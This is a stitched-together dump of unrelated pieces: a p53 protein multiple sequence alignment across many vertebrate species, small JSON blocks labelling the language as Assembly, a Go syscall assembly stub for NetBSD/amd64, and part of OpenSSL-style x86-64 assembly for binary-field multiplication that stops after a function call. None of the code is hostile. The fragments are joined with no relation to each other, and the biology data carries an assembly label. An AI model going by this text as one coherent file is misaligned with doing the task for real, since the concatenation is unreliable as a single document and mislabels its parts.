sp_Q29480_P53_EQUAS AKTCPVYLRI SSPPPPGTRV RAMAIYKKSE FMTEVVRRCP HHERCSDSSD
sp_P41685_P53_FELCA AKTCPVQLWV RSPPPPGTCV RAMAIYKKSE FMTEVVRRCP HHERCPDSSD
sp_P79892_P53_HORSE AKTCPVQLLV SSPPPPGTRV RAMAIYKKSE FMTEVVRRCP HHERCSDSSD
sp_P04637_P53_HUMAN AKTCPVQLWV DSTPPPGTRV RAMAIYKQSQ HMTEVVRRCP HHERCSD.SD
sp_O93379_P53_ICTPU AKTCPVLMAV SSSPPPGSVL RATAVYKRSE HVAEVVRRCP HHERSNDSSD
sp_P56423_P53_MACFA AKTCPVQLWV DSTPPPGSRV RAMAIYKQSQ HMTEVVRRCP HHERCSD.SD
sp_P61260_P53_MACFU AKTCPVQLWV DSTPPPGSRV RAMAIYKQSQ HMTEVVRRCP HHERCSD.SD
sp_P56424_P53_MACMU AKTCPVQLWV DSTPPPGSRV RAMAIYKQSQ HMTEVVRRCP HHERCSD.SD
sp_O36006_P53_MARMO AKTCPVQLWV DSTPPPGTRV RAMAIYKKSQ HMTEVVRRCP HHERCSD.SD
sp_Q00366_P53_MESAU AKTCPVQLWV SSTPPPGTRV RAMAIYKKLQ YMTEVVRRCP HHERSSE.GD
sp_P02340_P53_MOUSE AKTCPVQLWV SATPPAGSRV RAMAIYKKSQ HMTEVVRRCP HHERCSD.GD
sp_P25035_P53_ONCMY AKTCPVQIVV DHPPPPGAVV RALAIYKKLS DVADVVRRCP HHQSTSENNE
sp_P79820_P53_ORYLA AKTSPIEVRV SKEPPKGAIL RATAVYKKTE HVADVVRRCP HHQN....ED
sp_O12946_P53_PLAFE AKTSPVEVLL SKEPPQGAVL RATAVYKKTE HVADVVRRCP HHQT....ED
sp_Q9TUB2_P53_PIG AKTCPVQLWV SSPPPPGTRV RAMAIYKKSE YMTEVVRRCP HHERSSDYSD
sp_Q95330_P53_RABIT AKTCPVQLWV DSTPPPGTRV RAMAIYKKSQ HMTEVVRRCP HHERCSD.SD
sp_P10361_P53_RAT AKTCPVQLWV TSTPPPGTRV RAMAIYKKSQ HMTEVVRRCP HHERCSD.GD
sp_P51664_P53_SHEEP AKTCPVQLWV DSPPPPGTRV RAMAIYKKLE HMTEVVRRSP HHERSSDYSD
sp_Q9W679_P53_TETMU AKTSLVEVLL GKDPPMGAVL RATAIYKKTE HVAEVVRRCP HHQN....ED
sp_Q64662_P53_SPEBE AKTCPVQLWV DSTPPPGTRV RAMAIYKKSQ HMTEVVRRCP HHERCSD.SD
sp_Q9TTA1_P53_TUPBE AKTCPVQLWV DSAPPPGTRV RAMAIYKQSQ YVTEVVRRCP HHERCSD.SD
sp_P07193_P53_XENLA AKTCPLLVRV ESPPPRGSIL RATAVYKKSE HVAEVVKRCP HHERSVEPGE
sp_Q92143_P53_XIPMA AKTTPIGVLV KEEPPQGAVI RATAVYKKTE HVGEVVKRCP HHQS....ED
sp_O57538_P53_XIPHE AKTTPIGVLV KEEPPQGAVI RATSVYKKTE HVGEVVKRCP HHQS....ED
201 250
sp_Q9W678_P53_BARBU GLAPAAHLIR VEGNSRALYR EDDVNSRHSV VVPYEVPQLG SEFTTVLYNF
sp_Q29537_P53_CANFA GLAPPQHLIR VEGNLRAKYL DDRNTFRHSV VVPYEPPEVG SDYTTIHYNY
sp_P67938_P53_BOSIN GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYESPEID SECTTIHYNF
sp_P67939_P53_BOVIN GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYESPEID SECTTIHYNF
sp_P10360_P53_CHICK GLAPAQHLIR VEGNPQARYH DDETTKRHSV VVPYEPPEVG SDCTTVLYNF
sp_Q9WUR6_P53_CAVPO GLAPPQHLIR VEGNLHAEYV DDRTTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P13481_P53_CHLAE GLAPPQHLIR VEGNLRVEYS DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_O09185_P53_CRIGR SLAPPQHLIR VEGNLHAEYL DDKQTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P79734_P53_DANRE NLAPAGHLIR VEGNQRANYR EDNITLRHSV FVPYEAPQLG AEWTTVLLNY
sp_Q8SPZ3_P53_DELLE GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNF
sp_Q29480_P53_EQUAS GLAPPQHLIR VEGNLRAEYL DDRNTLRHSV VVPYEPPEVG SDCTTIHYNF
sp_P41685_P53_FELCA GLAPPQHLIR VEGNLHAKYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNF
sp_P79892_P53_HORSE GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNF
sp_P04637_P53_HUMAN GLAPPQHLIR VEGNLRVEYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_O93379_P53_ICTPU GPAPPGHLLR VEGNSRAVYQ EDGNTQAHSV VVPYEPPQVG SQSTTVLYNY
sp_P56423_P53_MACFA GLAPPQHLIR VEGNLRVEYS DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P61260_P53_MACFU GLAPPQHLIR VEGNLRVEYS DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P56424_P53_MACMU GLAPPQHLIR VEGNLRVEYS DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_O36006_P53_MARMO GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SECTTIHYNY
sp_Q00366_P53_MESAU GLAPPQHLIR VEGNMHAEYL DDKQTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P02340_P53_MOUSE GLAPPQHLIR VEGNLYPEYL EDRQTFRHSV VVPYEPPEAG SEYTTIHYKY
sp_P25035_P53_ONCMY GPAPRGHLVR VEGNQRSEYM EDGNTLRHSV LVPYEPPQVG SECTTVLYNF
sp_P79820_P53_ORYLA SVEHRSHLIR VEGSQLAQYF EDPYTKRQSV TVPYEPPQPG SEMTTILLSY
sp_O12946_P53_PLAFE TAEHRSHLIR LEGSQRALYF EDPHTKRQSV TVPYEPPQLG SETTAILLSF
sp_Q9TUB2_P53_PIG GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNF
sp_Q95330_P53_RABIT GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P10361_P53_RAT GLAPPQHLIR VEGNPYAEYL DDRQTFRHSV VVPYEPPEVG SDYTTIHYKY
sp_P51664_P53_SHEEP GLAPPQHLIR VEGNLRAEYF DDRNTFRHSV VVPYESPEIE SECTTIHYNF
sp_Q9W679_P53_TETMU SAEHRSHLIR MEGSERAQYF EHPHTKRQSV TVPYEPPQLG SEFTTILLSF
sp_Q64662_P53_SPEBE GLAPPQHLIR VEGNLRAEYL DDRNTFRHSV VVPYEPPEVG SESTTIHYNY
sp_Q9TTA1_P53_TUPBE GLAPPQHLIR VEGNLHAEYS DDRNTFRHSV VVPYEPPEVG SDCTTIHYNY
sp_P07193_P53_XENLA DAAPPSHLMR VEGNLQAYYM EDVNSGRHSV CVPYEGPQVG TECTTVLYNY
sp_Q92143_P53_XIPMA LSDNKSHLIR VEGSQLAQYF EDPNTRRHSV TVPYERPQLG SEMTTILLSF
sp_O57538_P53_XIPHE LSDNKSHLIR VEGSQLAQYF EDPNTRRHSV TVPYERPQLG SEMTTILLSF
251 300
sp_Q9W678_P53_BARBU MCNSSCMGGM NRRPILTIIS LETHDGQLLG RRSFEVRVCA CPGRDRKTEE
sp_Q29537_P53_CANFA MCNSSCMGGM NRRPILTIIT LEDSSGNVLG RNSFEVRVCA CPGRDRRTEE
sp_P67938_P53_BOSIN MCNSSCMGGM NRRPILTIIT LEDSCGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P67939_P53_BOVIN MCNSSCMGGM NRRPILTIIT LEDSCGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P10360_P53_CHICK MCNSSCMGGM NRRPILTILT LEGPGGQLLG RRCFEVRVCA CPGRDRKIEE
sp_Q9WUR6_P53_CAVPO MCNSSCMGGM NRRPILTIIT LEDSSGKLLG RDSFEVRVCA CPGRDRRTEE
sp_P13481_P53_CHLAE MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_O09185_P53_CRIGR MCNSSCMGGM NRRPILTIIT LEDPSGNLLG RNSFEVRICA CPGRDRRTEE
sp_P79734_P53_DANRE MCNSSCMGGM NRRPILTIIT LETQEGQLLG RRSFEVRVCA CPGRDRKTEE
sp_Q8SPZ3_P53_DELLE MCNSSCMGGM NRRPILTIIT LEDSNGNLLG RNSFEVRVCA CPGRDRRTEE
sp_Q29480_P53_EQUAS MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P41685_P53_FELCA MCNSSCMGGM NRRPIITIIT LEDSNGKLLG RNSFEVRVCA CPGRDRRTEE
sp_P79892_P53_HORSE MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P04637_P53_HUMAN MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_O93379_P53_ICTPU MCNSSCMGGM NRRPILTIIT LETQDGHLLG RRTFEVRVCA CPGRDRKTEE
sp_P56423_P53_MACFA MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P61260_P53_MACFU MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P56424_P53_MACMU MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_O36006_P53_MARMO MCNSSCMGGM NRRPILTIIT LEGSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_Q00366_P53_MESAU MCNSSCMGGM NRRPILTIIT LEDPSGNLLG RNSFEVRICA CPGRDRRTEE
sp_P02340_P53_MOUSE MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RDSFEVRVCA CPGRDRRTEE
sp_P25035_P53_ONCMY MCNSSCMGGM NRRPILTIIT LETQEGQLLG RRSFEVRVCA CPGRDRKTEE
sp_P79820_P53_ORYLA MCNSSCMGGM NRRPILTILT LET.EGLVLG RRCFEVRICA CPGRDRKTEE
sp_O12946_P53_PLAFE MCNSSCMGGM NRRQILTILT LETPDGLVLG RRCFEVRVCA CPGRDRKTDE
sp_Q9TUB2_P53_PIG MCNSSCMGGM NRRPILTIIT LEDASGNLLG RNSFEVRVCA CPGRDRRTEE
sp_Q95330_P53_RABIT MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_P10361_P53_RAT MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RDSFEVRVCA CPGRDRRTEE
sp_P51664_P53_SHEEP MCNSSCMGGM NRRPILTIIT LEDSRGNLLG RSSFEVRVCA CPGRDRRTEE
sp_Q9W679_P53_TETMU MCNSSCMGGM NRRPILTILT LETQEGIVLG RRCFEVRVCA CPGRDRKTEE
sp_Q64662_P53_SPEBE MCNSSCMGGM NRRPILTIIT LEDSSGNLLG RNSFEVRVCA CPGRDRRTEE
sp_Q9TTA1_P53_TUPBE MCNSSCMGGM NRRPILTIIT LEDSSGKLLG RNSFEVRICA CPGRDRRTEE
sp_P07193_P53_XENLA MCNSSCMGGM NRRPILTIIT LETPQGLLLG RRCFEVRVCA CPGRDRRTEE
sp_Q92143_P53_XIPMA MCNSSCMGGM NRRPILTILT LETTEGEVLG RRCFEVRVCA CPGRDRKTEE
sp_O57538_P53_XIPHE MCNSSCMGGM NRRPILTILT LETTEGEVLG RRCFEVRVCA CPGRDRKTEE
301 350
sp_Q9W678_P53_BARBU SNFRKDQETK TLDKI..PSA NKRSLTK.DS TSSVPRPEGS K.KAKLSGSS
sp_Q29537_P53_CANFA ENFHKKGEPC PEPP...PGS TKRALPP..S TS..SSPP.Q K.....KKPL
sp_P67938_P53_BOSIN ENLRKKGQSC PEPP...PRS TKRALPT..N TS..SSPQ.P K.....KKPL
sp_P67939_P53_BOVIN ENLRKKGQSC PEPP...PRS TKRALPT..N TS..SSPQ.P K.....KKPL
sp_P10360_P53_CHICK ENFRKRGGAG ........GV AKRAMSP..P TEA.PEPPKK R.....VLNP
sp_Q9WUR6_P53_CAVPO ENFRKKGGLC PEPT...PGN IKRALPT..S TS..SSPQ.P K.....KKPL
sp_P13481_P53_CHLAE ENFRKKGEPC HELP...PGS TKRALPN..N TS..SSPQ.P K.....KKPL
sp_O09185_P53_CRIGR KNFQKKGEPC PELP...PKS AKRALPT..N TS..SSPP.P K.....KKTL
sp_P79734_P53_DANRE SNFKKDQETK TMAKT..TTG TKRSLVK.ES SSATLRPEGS K.KAKG.SSS
sp_Q8SPZ3_P53_DELLE ENFHKKGQSC PELP...TGS AKRALPT..G TS..SSPP.Q K.....KKPL
sp_Q29480_P53_EQUAS ENFRKKEEPC PEPP...PRS TKRVLSS..N TS..SSPP.Q K.....EDPL
sp_P41685_P53_FELCA ENFRKKGEPC PEPP...PGS TKRALPP..S TS..STPP.Q K.....KKPL
sp_P79892_P53_HORSE ENFRKKEEPC PEPP...PRS TKRVLSS..N TS..SSPP.Q K.....KKPL
sp_P04637_P53_HUMAN ENLRKKGEPH HELP...PGS TKRALPN..N TS..SSPQ.P K.....KKPL
sp_O93379_P53_ICTPU SNFKKQQEPK TSGK...T.L TKRSMKD..P PSHPEASKKS K.....NSSS
sp_P56423_P53_MACFA ENFRKKGEPC HQLP...PGS TKRALPN..N TS..SSPQ.P K.....KKPL
sp_P61260_P53_MACFU ENFRKKGEPC HQLP...PGS TKRALPN..N TS..SSPQ.P K.....KKPL
sp_P56424_P53_MACMU ENFRKKGEPC HQLP...PGS TKRALPN..N TS..SSPQ.P K.....KKPL
sp_O36006_P53_MARMO ENFRKRGEPC PEPP...PRS TKRALPN..G TS..SSPQ.P K.....KKPL
sp_Q00366_P53_MESAU KNFQKKGEPC PELP...PKS AKRALPT..N TS..SSPQ.P K.....RKTL
sp_P02340_P53_MOUSE ENFRKKEVLC PELP...PGS AKRALPT..C TS..ASPP.Q K.....KKPL
sp_P25035_P53_ONCMY INLKKQQETT LETKTKPAQG IKRAMKE.AS LPA.PQPGAS KKTKSSPAVS
sp_P79820_P53_ORYLA ESRQKTQP.. ...K...... .KRKVTPNTS ....S.SKRK KSHSSGEEED
sp_O12946_P53_PLAFE ESSTKTPNGP KQTK...... .KRKQAPSNS APHTT.TVMK SKSSSSAEEE
sp_Q9TUB2_P53_PIG ENFLKKGQSC PEPP...PGS TKRALPT..S TS..SSPV.Q K.....KKPL
sp_Q95330_P53_RABIT ENFRKKGEPC PELP...PGS SKRALPT..T TTD.SSPQ.T K.....KKPL
sp_P10361_P53_RAT ENFRKKEEHC PELP...PGS AKRALPT..S TS..SSPQ.Q K.....KKPL
sp_P51664_P53_SHEEP ENFRKKGQSC PEPP...PGS TKRALPS..S TS..SSPQ.Q K.....KKPL
sp_Q9W679_P53_TETMU TNSTKMQNDA KDAK...... .KRKSVP... TPDST.TIKK SKTASSAEED
sp_Q64662_P53_SPEBE ENFRKRGEPC PEPP...PGS TKRALPT..G TN..SSPQ.P K.....KKPL
sp_Q9TTA1_P53_TUPBE ENFRKKGESC PKLP...TGS IKRALPT..G SS..SSPQ.P K.....KKPL
sp_P07193_P53_XENLA DNYTKKRGLK PSG....... .KRELAH..P PS..SEPPLP K.KRLVVVDD
sp_Q92143_P53_XIPMA GNLEK..SGT KQTK...... .KRKSAP... APDTS.TAKK SKSASSGEDE
sp_O57538_P53_XIPHE GNLEK..SGT KQTK...... .KRKSAP... APDTS.TAKK SKSASSGEDE
351 400
sp_Q9W678_P53_BARBU DEEIYTLQVR GKERYEMLKK INDSLELSDV VPPSEMDRYR QKLLTK..GK
sp_Q29537_P53_CANFA DGEYFTLQIR GRERYEMFRN LNEALELKDA QSGKEPGGSR AHSSHL....
sp_P67938_P53_BOSIN DGEYFTLQIR GFKRYEMFRE LNDALELKDA LDGREPGESR AHSSHL....
sp_P67939_P53_BOVIN DGEYFTLQIR GFKRYEMFRE LNDALELKDA LDGREPGESR AHSSHL....
sp_P10360_P53_CHICK DNEIFYLQVR GRRRYEMLKE INEALQLAEG GSAPRPSKGR R.........
sp_Q9WUR6_P53_CAVPO DAEYFTLKIR GRKNFEILRE INEALEFKDA QTEKEPGESR PHSSYP....
sp_P13481_P53_CHLAE DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPAGSR AHSSHL....
sp_O09185_P53_CRIGR DGEYFTLKIR GHERFKMFQE LNEALELKDA QASKGSEDNG AHSSYL....
sp_P79734_P53_DANRE DEEIFTLQVR GRERYEILKK LNDSLELSDV VPASDAEKYR QKFMTK..NK
sp_Q8SPZ3_P53_DELLE DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPGESR AHSSHL....
sp_Q29480_P53_EQUAS DGEYFTLH~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
sp_P41685_P53_FELCA DGEYFTLQIR GRERFEMFRE LNEALELKDA QSGKEPGGSR AHSSHL....
sp_P79892_P53_HORSE DGEYFT~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
sp_P04637_P53_HUMAN DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPGGSR AHSSHL....
sp_O93379_P53_ICTPU DDEIYTLQVR GKERYEFLKK INDGLELSDV VPPADQEKYR QKLLSKTCRK
sp_P56423_P53_MACFA DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPAGSR AHSSHL....
sp_P61260_P53_MACFU DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPAGSR AHSSHL....
sp_P56424_P53_MACMU DGEYFTLQIR GRERFEMFRE LNEALELKDA QAGKEPAGSR AHSSHL....
sp_O36006_P53_MARMO DGEYFTLKIR GRARFEMFQE LNEALELKDA QAEKEPGESR PHPSYL....
sp_Q00366_P53_MESAU DGEYFTLKIR GQERFKMFQE LNEALELKDA QALKASEDSG AHSSYL....
sp_P02340_P53_MOUSE DGEYFTLKIR GRKRFEMFRE LNEALELKDA HATEESGDSR AHSSYL....
sp_P25035_P53_ONCMY DDEIYTLQIR GKEKYEMLKK FNDSLELSEL VPVADADKYR QKCLTKRVA.
sp_P79820_P53_ORYLA NREVFHFEVY GRERYEFLKK INDGLELLEK ESKSKN.... ..........
sp_O12946_P53_PLAFE DKEVFTVLVK GRERYEIIKK INEAFEGAAE KEKAKN.... ........KV
sp_Q9TUB2_P53_PIG DGEYFTLQIR GRERFEMFRE LNDALELKDA QTARESGENR AHSSHL....
sp_Q95330_P53_RABIT DGEYFILKIR GRERFEMFRE LNEALELKDA QAEKEPGGSR AHSSYL....
sp_P10361_P53_RAT DGEYFTLKIR GRERFEMFRE LNEALELKDA RAAEESGDSR AHSSYP....
sp_P51664_P53_SHEEP DGEYFTLQIR GRKRFEMFRE LNEALELMDA QAGREPGESR AHSSHL....
sp_Q9W679_P53_TETMU NNEVYTLQIR GRKRYEMLKK INDGLDLLEN KP..KS.... ........KA
sp_Q64662_P53_SPEBE DGEYFTLKIR GRA~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
sp_Q9TTA1_P53_TUPBE DEEYFTLQIR GRERFEMLRE INEALELKDA MAGKESAGSR AHSSHL....
sp_P07193_P53_XENLA DEEIFTLRIK GRSRYEMIKK LNDALELQES LDQQK..... ...VTIKCR.
sp_Q92143_P53_XIPMA DKEIYTLSIR GRNRYLWFKS LNDGLELMDK TG........ .........P
sp_O57538_P53_XIPHE DKEIYTLSIR GRNRYLWFKS LNDGLELMDK TG........ .........P
401 426
sp_Q9W678_P53_BARBU KKDGQTPEPK RGKKLMVKDE KSDSD~
sp_Q29537_P53_CANFA .KAKKGQSTS RHKKLMFKRE GLDSD~
sp_P67938_P53_BOSIN .KSKKRPSPS CHKKPMLKRE GPDSD~
sp_P67939_P53_BOVIN .KSKKRPSPS CHKKPMLKRE GPDSD~
sp_P10360_P53_CHICK .VKVEGPQPS CGKKLLQKGS D~~~~~
sp_Q9WUR6_P53_CAVPO .KSKKGQSTS CHKKLMFKRE GLDSD~
sp_P13481_P53_CHLAE .KSKKGQSTS RHKKFMFKTE GPDSD~
sp_O09185_P53_CRIGR .KSKKGQSAS RLKKLMIKRE GPDSD~
sp_P79734_P53_DANRE KENRESSEPK QGKKLMVKDE GRSDSD
sp_Q8SPZ3_P53_DELLE .KSKKGQSPS RHKKLMFKRE GPDSD~
sp_Q29480_P53_EQUAS ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~
sp_P41685_P53_FELCA .KAKKGQSTS RHKKPMLKRE GLDSD~
sp_P79892_P53_HORSE ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~
sp_P04637_P53_HUMAN .KSKKGQSTS RHKKLMFKTE GPDSD~
sp_O93379_P53_ICTPU ERDGAAGEPK RGKKRLVKEE KCDSD~
sp_P56423_P53_MACFA .KSKKGQSTS RHKKFMFKTE GPDSD~
sp_P61260_P53_MACFU .KSKKGQSTS RHKKFMFKTE GPDSD~
sp_P56424_P53_MACMU .KSKKGQSTS RHKKFMFKTE GPDSD~
sp_O36006_P53_MARMO .KSKKGQSTS RHKKIIFKRE GPDSD~
sp_Q00366_P53_MESAU .KSKKGQSAS RLKKLMIKRE GPDSD~
sp_P02340_P53_MOUSE .KTKKGQSTS RHKKTMVKKV GPDSD~
sp_P25035_P53_ONCMY .KRDFGVGPK KRKKLLVKEE KSDSD~
sp_P79820_P53_ORYLA ..KDSGMVPS SGKKLKSN~~ ~~~~~~
sp_O12946_P53_PLAFE AVKQELPVPS SGKRLVQRGE RSDSD~
sp_Q9TUB2_P53_PIG .KSKKGQSPS RHKKPMFKRE GPDSD~
sp_Q95330_P53_RABIT .KAKKGQSTS RHKKPMFKRE GPDSD~
sp_P10361_P53_RAT .KTKKGQSTS RHKKPMIKKV GPDSD~
sp_P51664_P53_SHEEP .KSKKGPSPS CHKKPMLKRE GPDSD~
sp_Q9W679_P53_TETMU THRPDGPIPP SGKRLLHRGE KSDSD~
sp_Q64662_P53_SPEBE ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~
sp_Q9TTA1_P53_TUPBE .KSKKGQSTS RHRKLMFKTE GPDSD~
sp_P07193_P53_XENLA .KCRDEIKPK KGKKLLVKDE QPDSE~
sp_Q92143_P53_XIPMA KIKQEIPAPS SGKRLLKGGS DSD~~~
sp_O57538_P53_XIPHE KIKQEIPAPS SGKRLLKGGS DSD~~~
|
{
"language": "Assembly"
}
|
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !gccgo
#include "textflag.h"
//
// System call support for AMD64, NetBSD
//
// Just jump to package syscall's implementation for all these functions.
// The runtime may know about them.
TEXT ·Syscall(SB),NOSPLIT,$0-56
JMP syscall·Syscall(SB)
TEXT ·Syscall6(SB),NOSPLIT,$0-80
JMP syscall·Syscall6(SB)
TEXT ·Syscall9(SB),NOSPLIT,$0-104
JMP syscall·Syscall9(SB)
TEXT ·RawSyscall(SB),NOSPLIT,$0-56
JMP syscall·RawSyscall(SB)
TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
JMP syscall·RawSyscall6(SB)
|
{
"language": "Assembly"
}
|
.text
.type _mul_1x1,@function
.align 16
_mul_1x1:
subq $128+8,%rsp
movq $-1,%r9
leaq (%rax,%rax,1),%rsi
shrq $3,%r9
leaq (,%rax,4),%rdi
andq %rax,%r9
leaq (,%rax,8),%r12
sarq $63,%rax
leaq (%r9,%r9,1),%r10
sarq $63,%rsi
leaq (,%r9,4),%r11
andq %rbp,%rax
sarq $63,%rdi
movq %rax,%rdx
shlq $63,%rax
andq %rbp,%rsi
shrq $1,%rdx
movq %rsi,%rcx
shlq $62,%rsi
andq %rbp,%rdi
shrq $2,%rcx
xorq %rsi,%rax
movq %rdi,%rbx
shlq $61,%rdi
xorq %rcx,%rdx
shrq $3,%rbx
xorq %rdi,%rax
xorq %rbx,%rdx
movq %r9,%r13
movq $0,0(%rsp)
xorq %r10,%r13
movq %r9,8(%rsp)
movq %r11,%r14
movq %r10,16(%rsp)
xorq %r12,%r14
movq %r13,24(%rsp)
xorq %r11,%r9
movq %r11,32(%rsp)
xorq %r11,%r10
movq %r9,40(%rsp)
xorq %r11,%r13
movq %r10,48(%rsp)
xorq %r14,%r9
movq %r13,56(%rsp)
xorq %r14,%r10
movq %r12,64(%rsp)
xorq %r14,%r13
movq %r9,72(%rsp)
xorq %r11,%r9
movq %r10,80(%rsp)
xorq %r11,%r10
movq %r13,88(%rsp)
xorq %r11,%r13
movq %r14,96(%rsp)
movq %r8,%rsi
movq %r9,104(%rsp)
andq %rbp,%rsi
movq %r10,112(%rsp)
shrq $4,%rbp
movq %r13,120(%rsp)
movq %r8,%rdi
andq %rbp,%rdi
shrq $4,%rbp
movq (%rsp,%rsi,8),%xmm0
movq %r8,%rsi
andq %rbp,%rsi
shrq $4,%rbp
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $4,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $60,%rbx
xorq %rcx,%rax
pslldq $1,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $12,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $52,%rbx
xorq %rcx,%rax
pslldq $2,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $20,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $44,%rbx
xorq %rcx,%rax
pslldq $3,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $28,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $36,%rbx
xorq %rcx,%rax
pslldq $4,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $36,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $28,%rbx
xorq %rcx,%rax
pslldq $5,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $44,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $20,%rbx
xorq %rcx,%rax
pslldq $6,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %r8,%rdi
movq %rcx,%rbx
shlq $52,%rcx
andq %rbp,%rdi
movq (%rsp,%rsi,8),%xmm1
shrq $12,%rbx
xorq %rcx,%rax
pslldq $7,%xmm1
movq %r8,%rsi
shrq $4,%rbp
xorq %rbx,%rdx
andq %rbp,%rsi
shrq $4,%rbp
pxor %xmm1,%xmm0
movq (%rsp,%rdi,8),%rcx
movq %rcx,%rbx
shlq $60,%rcx
.byte 102,72,15,126,198
shrq $4,%rbx
xorq %rcx,%rax
psrldq $8,%xmm0
xorq %rbx,%rdx
.byte 102,72,15,126,199
xorq %rsi,%rax
xorq %rdi,%rdx
addq $128+8,%rsp
.byte 0xf3,0xc3
.Lend_mul_1x1:
.size _mul_1x1,.-_mul_1x1
.globl bn_GF2m_mul_2x2
.type bn_GF2m_mul_2x2,@function
.align 16
bn_GF2m_mul_2x2:
movq OPENSSL_ia32cap_P(%rip),%rax
btq $33,%rax
jnc .Lvanilla_mul_2x2
.byte 102,72,15,110,198
.byte 102,72,15,110,201
.byte 102,72,15,110,210
.byte 102,73,15,110,216
movdqa %xmm0,%xmm4
movdqa %xmm1,%xmm5
.byte 102,15,58,68,193,0
pxor %xmm2,%xmm4
pxor %xmm3,%xmm5
.byte 102,15,58,68,211,0
.byte 102,15,58,68,229,0
xorps %xmm0,%xmm4
xorps %xmm2,%xmm4
movdqa %xmm4,%xmm5
pslldq $8,%xmm4
psrldq $8,%xmm5
pxor %xmm4,%xmm2
pxor %xmm5,%xmm0
movdqu %xmm2,0(%rdi)
movdqu %xmm0,16(%rdi)
.byte 0xf3,0xc3
.align 16
.Lvanilla_mul_2x2:
leaq -136(%rsp),%rsp
movq %r14,80(%rsp)
movq %r13,88(%rsp)
movq %r12,96(%rsp)
movq %rbp,104(%rsp)
movq %rbx,112(%rsp)
.Lbody_mul_2x2:
movq %rdi,32(%rsp)
movq %rsi,40(%rsp)
movq %rdx,48(%rsp)
movq %rcx,56(%rsp)
movq %r8,64(%rsp)
movq $15,%r8
movq %rsi,%rax
movq %rcx,%rbp
call _mul_1x1
